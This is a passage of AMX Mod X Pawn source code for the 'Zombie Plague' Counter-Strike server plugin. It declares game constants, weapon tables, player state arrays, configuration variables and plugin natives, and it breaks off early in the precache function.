#include <amxmodx>
#include <amxmisc>
#include <cstrike>
#include <engine>
#include <fakemeta>
#include <hamsandwich>
#include <xs>
#include <fun>
#include <dhudmessage>
#include <zp_buymenu>

#define ID_MODEL (taskid - TASK_MODEL)
#define ID_TEAM (taskid - TASK_TEAM)
#define ID_SPAWN (taskid - TASK_SPAWN)
#define ID_BLOOD (taskid - TASK_BLOOD)  
#define ID_AURA (taskid - TASK_AURA)
#define ID_BURN (taskid - TASK_BURN)
#define ID_NVISION (taskid - TASK_NVISION)
#define ID_FLASH (taskid - TASK_FLASH)
#define ID_CHARGE (taskid - TASK_CHARGE)
#define ID_SHOWHUD (taskid - TASK_SHOWHUD)

#define REFILL_WEAPONID args[0]

#define WPN_STARTID g_menu_data[id][1]
#define WPN_MAXIDS ArraySize(g_primary_items)
#define WPN_SELECTION (g_menu_data[id][1]+key)
#define WPN_AUTO_ON g_menu_data[id][2]
#define WPN_AUTO_PRI g_menu_data[id][3]
#define WPN_AUTO_SEC g_menu_data[id][4]
#define WPN_AUTO_KF g_menu_data[id][5]
#define WPN_AUTOk_ON g_menu_data[id][6]

#define PL_ACTION g_menu_data[id][0]
#define EXTRAS_CUSTOM_STARTID (EXTRA_WEAPONS_STARTID + ArraySize(g_extraweapon_names))


new const ZP_CUSTOMIZATION_FILE[] = "zombieplague.ini"
new const ZP_EXTRAITEMS_FILE[] = "zp_extraitems.ini"
new const ZP_ZOMBIECLASSES_FILE[] = "zp_zombieclasses.ini"

const MAX_CSDM_SPAWNS = 128;
const MAX_STATS_SAVED = 64;
new const PLUGIN_VERSION[] = "4.3 Fixe Version 3"

enum
{
	SECTION_NONE = 0,
	SECTION_ACCESS_FLAGS,
	SECTION_PLAYER_MODELS,
	SECTION_WEAPON_MODELS,
	SECTION_GRENADE_SPRITES,
	SECTION_SOUNDS,
	SECTION_AMBIENCE_SOUNDS,
	SECTION_AMMO_COSTS,
	SECTION_BUY_MENU_WEAPONS,
	SECTION_EXTRA_ITEMS_WEAPONS,
	SECTION_HARD_CODED_ITEMS_COSTS,
	SECTION_WEATHER_EFFECTS,
	SECTION_SKY,
	SECTION_LIGHTNING,
	SECTION_ZOMBIE_DECALS,
	SECTION_KNOCKBACK,
	SECTION_OBJECTIVE_ENTS,
	SECTION_SVC_BAD,
	SECTION_CUSTKNIFES
}

enum
{
	ACCESS_ENABLE_MOD = 0,
	ACCESS_ADMIN_MENU,
	ACCESS_MODE_INFECTION,
	ACCESS_MODE_NEMESIS,
	ACCESS_MODE_SURVIVOR,
	ACCESS_MODE_SWARM,
	ACCESS_MODE_MULTI,
	ACCESS_MODE_PLAGUE,
	ACCESS_MAKE_ZOMBIE,
	ACCESS_MAKE_HUMAN,
	ACCESS_MAKE_NEMESIS,
	ACCESS_MAKE_SURVIVOR,
	ACCESS_RESPAWN_PLAYERS,
	ACCESS_ADMIN_MODELS,
	MAX_ACCESS_FLAGS
}

enum (+= 100)
{
	TASK_MODEL = 2000,
	TASK_TEAM,
	TASK_SPAWN,
	TASK_BLOOD,
	TASK_AURA,
	TASK_BURN,
	TASK_NVISION,
	TASK_FLASH,
	TASK_CHARGE,
	TASK_SHOWHUD,
	TASK_MAKEZOMBIE,
	TASK_WELCOMEMSG,
	TASK_THUNDER_PRE,
	TASK_THUNDER,
	TASK_AMBIENCESOUNDS
}

const MENU_KEY_AUTOSELECT = 7;
const MENU_KEY_BACK = 7;
const MENU_KEY_NEXT = 8;
const MENU_KEY_EXIT = 9;

enum
{
	EXTRA_NVISION = 0,
	EXTRA_ANTIDOTE,
	EXTRA_MADNESS,
	EXTRA_INFBOMB,
	EXTRA_WEAPONS_STARTID
}

enum
{
	MODE_NONE = 0,
	MODE_INFECTION,
	MODE_NEMESIS,
	MODE_SURVIVOR,
	MODE_SWARM,
	MODE_MULTI,
	MODE_PLAGUE
}

const ZP_TEAM_NO_ONE = 0
const ZP_TEAM_ANY = 0
const ZP_TEAM_ZOMBIE = (1<<0)
const ZP_TEAM_HUMAN = (1<<1)
const ZP_TEAM_NEMESIS = (1<<2)
const ZP_TEAM_SURVIVOR = (1<<3)
new const ZP_TEAM_NAMES[][] = { "ZOMBIE , HUMAN", "ZOMBIE", "HUMAN", "ZOMBIE , HUMAN", "NEMESIS",
			"ZOMBIE , NEMESIS", "HUMAN , NEMESIS", "ZOMBIE , HUMAN , NEMESIS",
			"SURVIVOR", "ZOMBIE , SURVIVOR", "HUMAN , SURVIVOR", "ZOMBIE , HUMAN , SURVIVOR",
			"NEMESIS , SURVIVOR", "ZOMBIE , NEMESIS , SURVIVOR", "HUMAN, NEMESIS, SURVIVOR",
			"ZOMBIE , HUMAN , NEMESIS , SURVIVOR" };

const ZCLASS_NONE = -1;

const Float:HUD_EVENT_X = -1.0;
const Float:HUD_EVENT_Y = 0.17;
const Float:HUD_INFECT_X = 0.05;
const Float:HUD_INFECT_Y = 0.45;
const Float:HUD_SPECT_X = -1.0
const Float:HUD_SPECT_Y = 0.8
const Float:HUD_STATS_X = 0.02;
const Float:HUD_STATS_Y = 0.9025;

// Hack to be able to use Ham_Player_ResetMaxSpeed (by joaquimandrade)
new Ham:Ham_Player_ResetMaxSpeed = Ham_Item_PreFrame

const PDATA_SAFE = 2
const OFFSET_PAINSHOCK = 108;
const OFFSET_CSTEAMS = 114;
const OFFSET_CSMENUCODE = 205
const OFFSET_CSMONEY = 115;
const OFFSET_FLASHLIGHT_BATTERY = 244;
const OFFSET_CSDEATHS = 444;
const OFFSET_MODELINDEX = 491;

const OFFSET_ACTIVE_ITEM = 373;

const OFFSET_WEAPONOWNER = 41;

const OFFSET_LINUX = 5;
const OFFSET_LINUX_WEAPONS = 4;

enum
{
	FM_CS_TEAM_UNASSIGNED = 0,
	FM_CS_TEAM_T,
	FM_CS_TEAM_CT,
	FM_CS_TEAM_SPECTATOR
}
new const CS_TEAM_NAMES[][] = { "UNASSIGNED", "TERRORIST", "CT", "SPECTATOR" }

const HIDE_MONEY = (1<<5)
const UNIT_SECOND = (1<<12)
const DMG_HEGRENADE = (1<<24)
const IMPULSE_FLASHLIGHT = 100
const USE_USING = 2
const USE_STOPPED = 0
const STEPTIME_SILENT = 999
const BREAK_GLASS = 0x01
const FFADE_IN = 0x0000
const FFADE_STAYOUT = 0x0004
const PEV_SPEC_TARGET = pev_iuser2

new const MAXBPAMMO[] = { -1, 0, -1, 90, 1, 80, 1, 180, 150, 1, 120, 90, 200, 90, 165, 150, 80, 45,
			90, 140, 250, 32, 150, 120, 90, 2, 50, 150, 150, -1, 180 }

new const MAXCLIP[] = { -1, 0, -1, 10, -1, 7, -1, 90, 50, -1, 40, 30, 25, 30, 65, 60, 12, 20,
			15, 65, 100, 8, 30, 30, 20, -1, 10, 30, 50, -1, 50 }

new const BUYAMMO[] = { -1, 1, -1, 30, -1, 40, -1, 90, 100, -1, 40, 30, 100, 30, 65, 60, 12, 30,
			10, 60, 100, 8, 50, 50, 30, -1, 10, 50, 50, -1, 120 }

new const AMMOID[] = { -1, 9, -1, 2, 12, 5, 14, 6, 4, 1, 10, 7, 6, 4, 4, 4, 6, 10,
			1, 10, 3, 5, 4, 10, 2, 11, 8, 4, 2, -1, 7 }

new const AMMOTYPE[][] = { "", "357sig", "", "762nato", "", "buckshot", "", "45acp", "556nato", "", "9mm", "57mm", "45acp",
			"556nato", "556nato", "556nato", "45acp", "9mm", "338magnum", "9mm", "556natobox", "buckshot",
			"556nato", "9mm", "762nato", "", "50ae", "556nato", "762nato", "", "57mm" }

new const AMMOWEAPON[] = { 0, CSW_AWP, CSW_SCOUT, CSW_M249, CSW_AUG, CSW_XM1014, CSW_MAC10, CSW_FIVESEVEN, CSW_DEAGLE,
			CSW_P228, CSW_ELITE, CSW_FLASHBANG, CSW_HEGRENADE, CSW_SMOKEGRENADE, CSW_C4 }

new const WEAPONNAMES[][] = { "", "P228 Compact", "", "Schmidt Scout", "", "XM1014 M4", "", "Ingram MAC-10", "AUG Steyr",
			"", "Dual Berettas", "FiveseveN", "UMP 45", "SG-550 Auto-Sniper", "SCAR-L 16", "Famas",
			"USP .45 ACP Tactical", "Glock 18C", "AWP Sniper", "MP5 Navy", "M249 Para Machinegun",
			"M3 Winchester", "M4A1 Carbine", "Schmidt TMP", "G3SG1 Auto-Sniper", "", "Desert Eagle",
			"SG-552 Commando", "AK-47 Kalashnikov", "", "ES P90" }

new const WEAPONENTNAMES[][] = { "", "weapon_p228", "", "weapon_scout", "weapon_hegrenade", "weapon_xm1014", "weapon_c4", "weapon_mac10",
			"weapon_aug", "weapon_smokegrenade", "weapon_elite", "weapon_fiveseven", "weapon_ump45", "weapon_sg550",
			"weapon_galil", "weapon_famas", "weapon_usp", "weapon_glock18", "weapon_awp", "weapon_mp5navy", "weapon_m249",
			"weapon_m3", "weapon_m4a1", "weapon_tmp", "weapon_g3sg1", "weapon_flashbang", "weapon_deagle", "weapon_sg552",
			"weapon_ak47", "weapon_knife", "weapon_p90" }

new const sound_flashlight[] = "items/flashlight1.wav";
new const sound_buyammo[] = "items/9mmclip1.wav";
new const sound_armorhit[] = "player/bhit_helmet-1.wav";
new const sound_kevlar[] = "items/tr_kevlar.wav"
new const sound_gunpickup[] = "items/gunpickup2.wav"

const Float:NADE_EXPLOSION_RADIUS = 240.0;

const PEV_ADDITIONAL_AMMO = pev_iuser1;

const PEV_NADE_TYPE = pev_flTimeStepSound;
const NADE_TYPE_INFECTION = 1111;
const NADE_TYPE_NAPALM = 2222;
const NADE_TYPE_FROST = 3333;
const NADE_TYPE_FLARE = 4444;
const PEV_FLARE_COLOR = pev_punchangle;
const PEV_FLARE_DURATION = pev_flSwimTime;

const PRIMARY_WEAPONS_BIT_SUM = (1<<CSW_SCOUT)|(1<<CSW_XM1014)|(1<<CSW_MAC10)|(1<<CSW_AUG)|(1<<CSW_UMP45)|(1<<CSW_SG550)|(1<<CSW_GALIL)|(1<<CSW_FAMAS)|(1<<CSW_AWP)|(1<<CSW_MP5NAVY)|(1<<CSW_M249)|(1<<CSW_M3)|(1<<CSW_M4A1)|(1<<CSW_TMP)|(1<<CSW_G3SG1)|(1<<CSW_SG552)|(1<<CSW_AK47)|(1<<CSW_P90)

const SECONDARY_WEAPONS_BIT_SUM = (1<<CSW_P228)|(1<<CSW_ELITE)|(1<<CSW_FIVESEVEN)|(1<<CSW_USP)|(1<<CSW_GLOCK18)|(1<<CSW_DEAGLE)
const ZOMBIE_ALLOWED_WEAPONS_BITSUM = (1<<CSW_KNIFE)|(1<<CSW_HEGRENADE)|(1<<CSW_FLASHBANG)|(1<<CSW_SMOKEGRENADE)|(1<<CSW_C4)

new const MODEL_ENT_CLASSNAME[] = "player_model";
new const WEAPON_ENT_CLASSNAME[] = "weapon_model";

const KEYSMENU = MENU_KEY_1|MENU_KEY_2|MENU_KEY_3|MENU_KEY_4|MENU_KEY_5|MENU_KEY_6|MENU_KEY_7|MENU_KEY_8|MENU_KEY_9|MENU_KEY_0;

enum
{
	AMBIENCE_SOUNDS_INFECTION = 0,
	AMBIENCE_SOUNDS_NEMESIS,
	AMBIENCE_SOUNDS_SURVIVOR,
	AMBIENCE_SOUNDS_SWARM,
	AMBIENCE_SOUNDS_PLAGUE,
	MAX_AMBIENCE_SOUNDS
}

enum
{
	ACTION_ZOMBIEFY_HUMANIZE = 0,
	ACTION_MAKE_NEMESIS,
	ACTION_MAKE_SURVIVOR,
	ACTION_RESPAWN_PLAYER,
	ACTION_MODE_SWARM,
	ACTION_MODE_MULTI,
	ACTION_MODE_PLAGUE
}

const ZP_PLUGIN_HANDLED = 97;


new g_zombie[33];
new g_nemesis[33];
new g_survivor[33];
new g_firstzombie[33];
new g_lastzombie[33];
new g_lasthuman[33];
new g_frozen[33];
new Float:g_frozen_gravity[33] // store previous gravity when frozen
new Float:g_frozen_maxspeed[33] // store previous maxspeed when frozen
new g_nodamage[33];
new g_respawn_as_zombie[33];
new g_nvision[33];
new g_nvisionenabled[33];
new g_zombieclass[33];
new g_zombieclassnext[33];
new g_flashlight[33];
new g_flashbattery[33] = { 100, ... };
new g_canbuy[33];
new g_ammopacks[33];
new g_damagedealt[33];
new Float:g_lastleaptime[33];
new Float:g_lastflashtime[33];
new g_playermodel[33][32];
new g_menu_data[33][7];
new g_ent_playermodel[33];
new g_ent_weaponmodel[33];
new g_burning_duration[33];
new Float:g_buytime[33] // used to calculate custom buytime
new g_iPlayerHealth[33];


new g_infectnade[33];
new g_unlimited_clip[33];
new g_painshockfree[33];
new g_iCurrentWeapon[33]

new g_pluginenabled;
new g_newround;
new g_endround;
new g_nemround;
new g_survround;
new g_swarmround;
new g_plagueround;
new g_modestarted;
new g_lastmode;
new g_scorezombies, g_scorehumans;
new g_spawnCount, g_spawnCount2;
new Float:g_spawns[MAX_CSDM_SPAWNS][3], Float:g_spawns2[MAX_CSDM_SPAWNS][3];
new g_lights_i;
new g_lights_cycle[32];
new g_lights_cycle_len;
new Float:g_models_targettime;
new Float:g_teams_targettime;
new g_MsgSync, g_MsgSync2 , g_MsgSync3 ;
new g_trailSpr, g_exploSpr, g_flameSpr, g_smokeSpr, g_glassSpr;
new g_modname[32];
new g_freezetime;
new g_maxplayers;
new g_hamczbots;
new g_fwSpawn, g_fwPrecacheSound;
new g_infbombcounter, g_antidotecounter, g_madnesscounter;
new g_arrays_created;
new g_lastplayerleaving;
new g_switchingteam;
new g_buyzone_ent;

new g_msgScoreInfo,		g_msgNVGToggle,			g_msgScoreAttrib,			g_msgAmmoPickup,		g_msgScreenFade,
g_msgDeathMsg,			g_msgSetFOV,			g_msgFlashlight,			g_msgFlashBat,			g_msgTeamInfo,		g_msgDamage,
g_msgHideWeapon,		g_msgCrosshair,			g_msgSayText,				g_msgScreenShake,		g_msgCurWeapon;

new g_fwRoundStart,		g_fwRoundEnd,			g_fwUserInfected_pre,		g_fwUserHumanize_attempt,
g_fwUserHumanized_pre,	g_fwDummyResult,		g_fwUserInfect_attempt,
g_fwUserInfected_post,	g_fwUserUnfrozen,		g_fwExtraItemSelected,
g_fwUserLastZombie,		g_fwUserLastHuman,		g_fwUserHumanized_post;
new g_fwBuyAmmo1, g_fwBuyAmmo2

new g_iExplo, m_iExplo1;

new db_name[MAX_STATS_SAVED][32];
new db_ammopacks[MAX_STATS_SAVED];
new db_zombieclass[MAX_STATS_SAVED];
new db_slot_i;

new Array:g_extraitem_name;
new Array:g_extraitem_cost;
new Array:g_extraitem_team;
new g_extraitem_i;
new chain_id;

new Array:g_extraitem2_realname, Array:g_extraitem2_name, Array:g_extraitem2_cost, Array:g_extraitem2_team, Array:g_extraitem_new;

new Array:g_zclass_name;
new Array:g_zclass_info;
new Array:g_zclass_modelsstart;
new Array:g_zclass_modelsend;
new Array:g_zclass_playermodel;
new Array:g_zclass_modelindex;
new Array:g_zclass_clawmodel;
new Array:g_zclass_bombmodel;
new Array:g_zclass_hp;
new Array:g_zclass_spd;
new Array:g_zclass_grav;
new Array:g_zclass_kb;
new Array:g_zclass_vip
new g_zclass_i;

new Array:g_zclass2_realname,	Array:g_zclass2_name,		Array:g_zclass2_info,
Array:g_zclass2_modelsstart,	Array:g_zclass2_modelsend,	Array:g_zclass2_playermodel,
Array:g_zclass2_modelindex,		Array:g_zclass2_clawmodel,	Array:g_zclass2_bombmodel, Array:g_zclass2_kb,
Array:g_zclass2_spd,			Array:g_zclass2_grav,		Array:g_zclass_new,				Array:g_zclass2_hp;

new Array:g_modelindex_nemesis,	Array:model_nemesis,		Array:model_survivor,		Array:model_human, 
Array:model_admin_zombie,		Array:model_admin_human,	Array:g_modelindex_human,	Array:g_modelindex_admin_human,
Array:g_modelindex_survivor,	g_same_models_for_all,		w_bomb_infect[64],			g_access_flag[MAX_ACCESS_FLAGS],
model_vweapon_survivor[64],		g_set_modelindex_offset_b,
model_grenade_infect[64],		model_grenade_firee[64],	model_grenade_fireee[64],	Array:g_modelindex_admin_zombie,
w_model_frost[64],				model_grenade_fire[64],		model_grenade_frost[64],	model_grenade_frostt[64],
model_grenade_flare[64],		sprite_grenade_fire[64],	asdasdasdd[64],				model_vknife_admin_zombie[64],
p_model_grenade_infect[64],		sprite_grenade_trail[64],	sprite_grenade_ring[64],	model_grenade_flaree[64],
sprite_grenade_smoke[64],		sprite_grenade_glass[64];

new Array:model_human_s

new Array:sound_win_zombies,	Array:sound_win_humans,			Array:sound_win_no_one,					Array:sound_plague,
Array:sound_nemesis,			Array:sound_survivor,			Array:sound_swarm,						Array:sound_multi,
Array:grenade_infect,			Array:grenade_infect_player,	Array:grenade_fire,						Array:grenade_flare,
Array:grenade_frost,			Array:grenade_frost_player,		Array:grenade_frost_break,				Array:sound_ambience5,
Array:sound_antidote,			Array:sound_thunder,			Array:sound_ambience1,					Array:sound_ambience4_duration,
Array:sound_ambience2,			Array:sound_ambience3,			Array:sound_ambience4,					Array:sound_ambience3_ismp3,
Array:sound_ambience1_duration,	Array:sound_ambience2_duration,	Array:sound_ambience3_duration,			Array:g_secondary_items,
Array:sound_ambience5_duration,	Array:sound_ambience1_ismp3,	Array:sound_ambience2_ismp3,			Array:g_extraweapon_names,
Array:sound_ambience4_ismp3,	Array:sound_ambience5_ismp3,	Array:g_primary_items,					g_ambience_snow, 
Array:g_additional_items,		Array:g_primary_weaponids,		Array:g_secondary_weaponids,			g_fog_color[12],
Array:g_extraweapon_items,		Array:g_extraweapon_costs,		g_extra_costs2[EXTRA_WEAPONS_STARTID],	Array:zombie_decals,
g_ambience_rain,				g_ambience_fog,					g_fog_density[10],						g_handle_models_on_separate_ent,
g_sky_enable,					Array:g_sky_names,				Array:lights_thunder,					Array:g_objective_ents,
Float:g_modelchange_delay,		g_set_modelindex_offset,		g_force_consistency;

new Float:kb_weapon_power[31] = { -1.0, ... }, g_ambience_sounds[MAX_AMBIENCE_SOUNDS], w_model_grenade_infect[64];

////////////////////////////////////////////////////////////////////////////////////
enum
{
	AXE = 0,
	STRONG,
	COMBAT,
	HAMMER
}


new g_user_knife[33], g_is_saw[33];
new Float:g_knife_jump_pwr[6], Float:g_knife_knockback[6];

new Array:human_dpe, Array:human_miss_slash, Array:human_miss_wall, Array:human_hit_normal, Array:human_hit_stab;

new model_vknife_axe[64],	model_pknife_axe[64],
model_vknife_strong[64],	model_pknife_strong[64],
model_vknife_combat[64],	model_pknife_combat[64],
model_vknife_hammer[64],	model_pknife_hammer[64],
model_vknife_surv[64],		model_pknife_surv[64],
model_vknife_nemesis[64],	model_pknife_chainsaw[64],
model_vknife_chainsaw[64],	model_wknife_chainsaw[64];

new g_armor_amount, g_armor_limit, g_hp_amount;

new Float:chainsaw_mins[3] = { -2.0, -2.0, -2.0 };
new Float:chainsaw_maxs[3] = { 2.0, 2.0, 2.0 };


const DROPFLAG_NORMAL = 	(1<<0); // "a", with "drop" clcmd (pressing G by default)
const DROPFLAG_INDEATH =	(1<<1); // "b", death victim
const DROPFLAG_INFECTED =	(1<<2); // "c", user infected
const DROPFLAG_SURVHUMAN =	(1<<3); // "d", user become survivor

const m_pPlayer = 					41;
const m_flNextPrimaryAttack = 		46;
const m_flNextSecondaryAttack =		47;
const m_flTimeWeaponIdle = 			48;
////////////////////////////////////////////////////////////////////////////////////
new Array:zombie_infect,	Array:zombie_pain,
Array:zombie_die,			Array:zombie_fall,
Array:zombie_miss_slash,	Array:zombie_miss_wall,
Array:zombie_hit_normal,	Array:zombie_hit_stab,
Array:zombie_idle,			Array:zombie_idle_last,
Array:zombie_madness,		Array:grenade_fire_player;
//------------------------------------------------------------------
new Array:zombie_infect_c,	Array:zombie_pain_c,
Array:zombie_die_c,			Array:zombie_fall_c,
Array:zombie_miss_slash_c,	Array:zombie_miss_wall_c,
Array:zombie_hit_normal_c,	Array:zombie_hit_stab_c,
Array:zombie_idle_c,		Array:zombie_idle_last_c,
Array:zombie_madness_c,		Array:grenade_fire_player_c,	Array:zombie_infect_adv;
//------------------------------------------------------------------
new Array:nemesis_pain,		Array:nemesis_gren_fire,
Array:nemesis_die,			Array:nemesis_fall,
Array:nemesis_miss_slash,	Array:nemesis_miss_wall,
Array:nemesis_hit_normal,	Array:nemesis_hit_stab,
Array:nemesis_idle,			Array:nemesis_idle_last,
Array:nemesis_win,			Array:nemesis_loose;
//------------------------------------------------------------------
new Array:survivor_pain, Array:survivor_die;
new cur = 0;
/*new Trie:g_check*/
////////////////////////////////////////////////////////////////////////////////////

//------------------------------------------------------------------
new cvar_lighting,			cvar_zombiefov,			cvar_plague,				cvar_plaguechance,			cvar_zombiefirsthp,
cvar_removemoney,			cvar_thunder,			cvar_zombiebonushp,			cvar_nemhp,					cvar_nem, cvar_surv,
cvar_nemchance,				cvar_deathmatch,		cvar_nemglow,				cvar_customnvg,				cvar_hitzones, cvar_humanhp,
cvar_nemgravity,			cvar_flashsize,			cvar_ammodamage,			cvar_zombiearmor,			cvar_survpainfree,
cvar_nempainfree,			cvar_nemspd,			cvar_survchance,			cvar_survhp,				cvar_survspd, cvar_humanspd,
cvar_swarmchance,			cvar_flashdrain,		cvar_zombiebleeding,		cvar_removedoors,			cvar_customflash,
cvar_randspawn,				cvar_multi,				cvar_multichance,			cvar_infammo,				cvar_swarm, cvar_ammoinfect,
cvar_toggle,				cvar_knockbackpower,	cvar_freezeduration,	cvar_freezeduration_first	,	cvar_triggered,				cvar_flashcharge,
cvar_firegrenades,			cvar_frostgrenades,		cvar_survgravity,			cvar_logcommands,			cvar_survglow,
cvar_humangravity,			cvar_spawnprotection,	cvar_nvgsize,				cvar_flareduration,			cvar_zclasses,
cvar_extraitems,			cvar_showactivity,		cvar_humanlasthp,			cvar_nemignorefrags,		cvar_warmup,
cvar_flashdist,				cvar_flarecolor,		cvar_survignorefrags,		cvar_fireduration,			cvar_firedamage,
cvar_flaregrenades,			cvar_knockbackducking,	cvar_knockbackdamage,		cvar_knockbackzvel,
cvar_multiratio,			cvar_flaresize,			cvar_spawndelay,			cvar_extraantidote,			cvar_extramadness,
cvar_extraweapons,			cvar_extranvision,		cvar_nvggive,				cvar_preventconsecutive,	cvar_botquota,
cvar_buycustom,				cvar_zombiepainfree,	cvar_fireslowdown,			cvar_survbasehp,			cvar_survaura,
cvar_nemignoreammo,			cvar_survignoreammo,	cvar_nemaura,				cvar_extrainfbomb,			cvar_knockback,
cvar_fragsinfect,			cvar_fragskill,			cvar_humanarmor,			cvar_zombiesilent,			cvar_removedropped,
cvar_plagueratio,			cvar_blocksuicide,		cvar_knockbackdist,			cvar_nemdamage,				cvar_leapzombies,
cvar_leapzombiesforce,		cvar_leapzombiesheight,	cvar_leapzombiescooldown,	cvar_leapnemesis,			cvar_respawnsurv,
cvar_leapnemesisforce,		cvar_leapnemesisheight,	cvar_leapnemesiscooldown,	cvar_leapsurvivor,
cvar_leapsurvivorforce,		cvar_leapsurvivorheight,cvar_nemminplayers,			cvar_survminplayers,
cvar_respawnonsuicide,		cvar_respawnafterlast,	cvar_leapsurvivorcooldown,	cvar_statssave,
cvar_swarmminplayers,		cvar_multiminplayers,	cvar_plagueminplayers,		cvar_adminmodelshuman,
cvar_adminmodelszombie,		cvar_nembasehp,			cvar_blockpushables,		cvar_respawnworldspawnkill,
cvar_madnessduration,		cvar_plaguenemnum,		cvar_plaguenemhpmulti,		cvar_plaguesurvhpmulti,
cvar_survweapon,			cvar_plaguesurvnum,		cvar_infectionscreenfade,	cvar_infectionscreenshake,
cvar_infectionsparkle,		cvar_infectiontracers,	cvar_infectionparticles,	cvar_infbomblimit,
cvar_allowrespawnsurv,		cvar_flashshowall,		cvar_allowrespawninfection,	cvar_allowrespawnnem,
cvar_allowrespawnswarm,		cvar_allowrespawnplague,cvar_survinfammo,			cvar_nemknockback,
cvar_nvgcolor[3],			cvar_nemnvgcolor[3],	cvar_humnvgcolor[3],		cvar_flashcolor[3],
cvar_hudicons,				cvar_respawnzomb, 		cvar_respawnhum,			cvar_respawnnem,
cvar_startammopacks,		cvar_randweapons, 		cvar_antidotelimit,			cvar_madnesslimit,	
cvar_adminknifemodelszombie,cvar_keephealthondisconnect,cvar_buyzonetime;

new cvar_oneround, cvar_dmggore, cvar_dropflags, cvar_pattack_rate, cvar_sattack_rate, cvar_pattack_recoil, cvar_sattack_recoil, cvar_body_xplode;

new g_isconnected[33];
new g_isalive[33];
new g_isbot[33];
new g_currentweapon[33];
new g_currentammoCost[33], g_currentammoValue[33], g_currentammoMax[33]
new g_playername[33][32];
new Float:g_zombie_spd[33];
new Float:g_zombie_knockback[33];
new g_zombie_classname[33][32];
new weapon_ammo_costs[31]
new iconstatus
new grenade_icons[33][32]
new g_cvar_survivor_armor
#define is_user_valid_connected(%1) (1 <= %1 <= g_maxplayers && g_isconnected[%1])
#define is_user_valid_alive(%1) (1 <= %1 <= g_maxplayers && g_isalive[%1])

new g_cached_customflash, g_cached_zombiesilent, g_cached_leapzombies, g_cached_leapnemesis,
g_cached_leapsurvivor, Float:g_cached_leapzombiescooldown, Float:g_cached_leapnemesiscooldown,
Float:g_cached_leapsurvivorcooldown, Float:g_cached_buytime


//MIN 22 PLAYERS

new g_buy_surv_extra_id, g_buy_nem_extra_id

new g_cvar_nemesis_dmg

new health_add
new health_hs_add
new health_max

new nKiller
new nKiller_hp
new nHp_add
new nHp_max 

new gmsgWeaponList

new Map_ZP_Alien_Boss
new Map_ZP_Oberon_Boss
new Map_ZP_zs_decoy
new Map_ZP_Oberon_Boss_2

new const szClassInfo[] = "Classes";
new const szKnifesInfo[] = "Knifes";


//}
//////////////////////////////////////////////////////////////////////////////////////////////////////////
//////////////////////////////////////////////////////////////////////////////////////////////////////////
public plugin_natives() {

	register_native("zp_get_user_saw", "native_zp_get_user_saw", 1)
	register_native( "zp_get_saw_owner_count", "GetSawOwnerCount", 1 );

	register_native("zp_get_user_zombie", "native_get_user_zombie", 1)
	register_native("zp_get_user_nemesis", "native_get_user_nemesis", 1)
	register_native("zp_get_user_survivor", "native_get_user_survivor", 1)
	register_native("zp_get_user_first_zombie", "native_get_user_first_zombie", 1)
	register_native("zp_get_user_last_zombie", "native_get_user_last_zombie", 1)
	register_native("zp_get_user_last_human", "native_get_user_last_human", 1)
	register_native("zp_get_user_zombie_class", "native_get_user_zombie_class", 1)
	register_native("zp_get_user_next_class", "native_get_user_next_class", 1)
	register_native("zp_set_user_zombie_class", "native_set_user_zombie_class", 1)
	register_native("zp_get_user_ammo_packs", "native_get_user_ammo_packs", 1)
	register_native("zp_set_user_ammo_packs", "native_set_user_ammo_packs", 1)
	register_native("zp_get_zombie_maxhealth", "native_get_zombie_maxhealth", 1)
	register_native("zp_get_user_batteries", "native_get_user_batteries", 1)
	register_native("zp_set_user_batteries", "native_set_user_batteries", 1)
	register_native("zp_get_user_nightvision", "native_get_user_nightvision", 1)
	register_native("zp_g_nodamage", "native_g_nodamage", 1)
	register_native("zp_set_user_nightvision", "native_set_user_nightvision", 1)
	register_native("zp_get_user_frozen", "native_get_user_frozen", 1)
	register_native("zp_set_user_frozen", "native_set_user_frozen", 1)
	register_native("zp_get_user_nodamage", "native_get_user_nodamage", 1)
	register_native("zp_set_user_nodamage", "native_set_user_nodamage", 1)
	register_native("zp_get_user_stucked", "native_get_user_stucked", 1)
	register_native("zp_set_user_unstucked", "native_set_user_unstucked", 1)
	register_native("zp_user_has_infect_nade", "native_user_has_infect_nade", 1)
	register_native("zp_get_user_burning", "native_get_user_burning", 1)
   	register_native("zp_set_user_burning", "native_set_user_burning", 1)
	register_native("zp_get_user_unlimited_clip", "native_get_user_unlimited_clip", 1)
	register_native("zp_set_user_unlimited_clip", "native_set_user_unlimited_clip", 1)
	register_native("zp_user_has_painshockfree", "native_user_has_painshockfree", 1)
	register_native("zp_set_user_painshockfree", "native_set_user_painshockfree", 1)
	register_native("zp_set_gamemode", "native_zp_set_gamemode", 1)
	register_native("zp_infect_user", "native_infect_user", 1)
	register_native("zp_disinfect_user", "native_disinfect_user", 1)
	register_native("zp_make_user_nemesis", "native_make_user_nemesis", 1)
	register_native("zp_make_user_survivor", "native_make_user_survivor", 1)
	register_native("zp_respawn_user", "native_respawn_user", 1)
	register_native("zp_force_buy_extra_item", "native_force_buy_extra_item", 1)
	register_native("zp_override_user_model", "native_override_user_model", 1)
	
	register_native("zp_has_round_started", "native_has_round_started", 1)
	register_native("zp_is_nemesis_round", "native_is_nemesis_round", 1)
	register_native("zp_is_survivor_round", "native_is_survivor_round", 1)
	register_native("zp_is_swarm_round", "native_is_swarm_round", 1)
	register_native("zp_is_plague_round", "native_is_plague_round", 1)
	register_native("zp_get_zombie_count", "native_get_zombie_count", 1)
	register_native("zp_get_human_count", "native_get_human_count", 1)
	register_native("zp_get_nemesis_count", "native_get_nemesis_count", 1)
	register_native("zp_get_survivor_count", "native_get_survivor_count", 1)
	
	register_native("zp_register_extra_item", "native_register_extra_item", 1)
	register_native("zp_register_zombie_class", "native_register_zombie_class", 1)
	register_native("zp_get_extra_item_id", "native_get_extra_item_id", 1)
	register_native("zp_get_zombie_class_id", "native_get_zombie_class_id", 1)
	
	register_native("zp_set_ammo_value", "native_set_ammo_value", 1)
	register_native("zp_set_ammo_cost", "native_set_ammo_cost", 1)
	register_native("zp_set_ammo_max", "native_set_ammo_max", 1)
}


public native_zp_get_user_saw(id)
{
	return 	g_is_saw[id]
}

public plugin_precache() {
	register_plugin("Zombie Plague", PLUGIN_VERSION, "MeRcyLeZZ");


	register_concmd("zp_toggle", "cmd_toggle", _, "<1/0> - Enable/Disable Zombie Plague (will restart the current map)", 0)
	cvar_toggle = register_cvar("zp_on", "1")
	
	if (!get_pcvar_num(cvar_toggle)) return;
	g_pluginenabled = true;


	new szMapName[ 64 ];
	get_mapname( szMapName, 63 );

	if( contain( szMapName, "zs_lastclue_boss" ) != -1 ) Map_ZP_Alien_Boss = 1
	else Map_ZP_Alien_Boss = 0

